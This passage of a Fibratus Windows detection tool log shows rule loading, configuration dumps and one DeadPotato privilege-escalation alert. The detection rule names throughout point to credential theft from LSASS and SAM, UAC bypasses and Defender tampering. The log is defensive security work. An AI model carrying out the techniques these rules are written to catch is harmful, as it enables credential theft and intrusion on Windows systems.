+time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:35:45+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:35:45+01:00 level=info msg=bootstrapping with pid 18856. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:35:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s buffer-size=>512 enable-image=>true max-buffers=>36 enable-handle=>false enable-threadpool=>false enable-vamap=>true enable-net=>true enable-thread=>true enable-fileio=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>false min-buffers=>16 enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ timeout=>5s flush-period=>1s enabled=>false gzip-compression=>false template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus trace-log=>false sniff=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient exchange-type=>topic enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ durable=>false passive=>false] http=>[ endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-mmaps=>false excluded-files=>[] enabled=>false scan-timeout=>10s skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:35:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:35:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:35:58+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): source=action/alert.go:37 +time=2025-11-25T11:36:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:36:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:36:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:06:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T12:06:23+01:00 level=info msg=bootstrapping with pid 2284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:06:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-dns=>false stack-enrichment=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16 enable-threadpool=>false enable-net=>true enable-mem=>false enable-fileio=>true enable-audit-api=>true enable-handle=>false enable-registry=>true buffer-size=>512 enable-vamap=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ elasticsearch=>[ template-name=>fibratus enabled=>false flush-period=>1s sniff=>false trace-log=>false healthcheck-timeout=>5s index-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1] http=>[ enable-gzip=>false endpoints=>[] timeout=>5s method=>POST serializer=>json tls-insecure-skip-verify=>false enabled=>false] amqp=>[ delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus durable=>false timeout=>5s exchange=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false passive=>false enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false skip-allocs=>false skip-files=>false excluded-files=>[] skip-mmaps=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:06:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:06:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:07:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:07:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:07:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:07:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T12:07:44+01:00 level=info msg=bootstrapping with pid 744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:07:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true min-buffers=>16 max-buffers=>36 enable-audit-api=>true enable-net=>true enable-threadpool=>false enable-thread=>true enable-vamap=>true enable-image=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-mem=>false flush-interval=>1s stack-enrichment=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ enabled=>false timeout=>5s passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus durable=>false] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 timeout=>5s healthcheck=>true gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s trace-log=>false flush-period=>1s index-name=>fibratus template-name=>fibratus] http=>[ endpoints=>[] serializer=>json method=>POST timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-allocs=>false excluded-files=>[] fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:07:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:07:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:09:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:09:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:09:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:10:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T12:10:00+01:00 level=info msg=bootstrapping with pid 2144. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:10:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true enable-handle=>false max-buffers=>36 stack-enrichment=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true min-buffers=>16 enable-net=>true enable-dns=>false enable-mem=>false enable-registry=>true flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 max-size=>100 max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus timeout=>5s bulk-workers=>1 trace-log=>false template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true gzip-compression=>false] http=>[ timeout=>5s enabled=>false method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] amqp=>[ vhost=>/ delivery-mode=>transient enabled=>false timeout=>5s exchange=>fibratus durable=>false routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] excluded-procs=>[] skip-registry=>false skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:10:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:10:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:10:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:10:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:10:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:10:48+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T12:10:48+01:00 level=info msg=bootstrapping with pid 6480. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:10:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-fileio=>true enable-dns=>false enable-audit-api=>true enable-net=>true enable-registry=>true max-buffers=>36 enable-mem=>false enable-threadpool=>false enable-vamap=>true buffer-size=>512 stack-enrichment=>true enable-thread=>true enable-handle=>false min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false method=>POST endpoints=>[] serializer=>json] amqp=>[ vhost=>/ timeout=>5s exchange-type=>topic exchange=>fibratus passive=>false durable=>false enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus] elasticsearch=>[ sniff=>false index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s trace-log=>false healthcheck-interval=>10s healthcheck=>true] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:10:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:10:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:11:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:11:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:11:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:11:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from 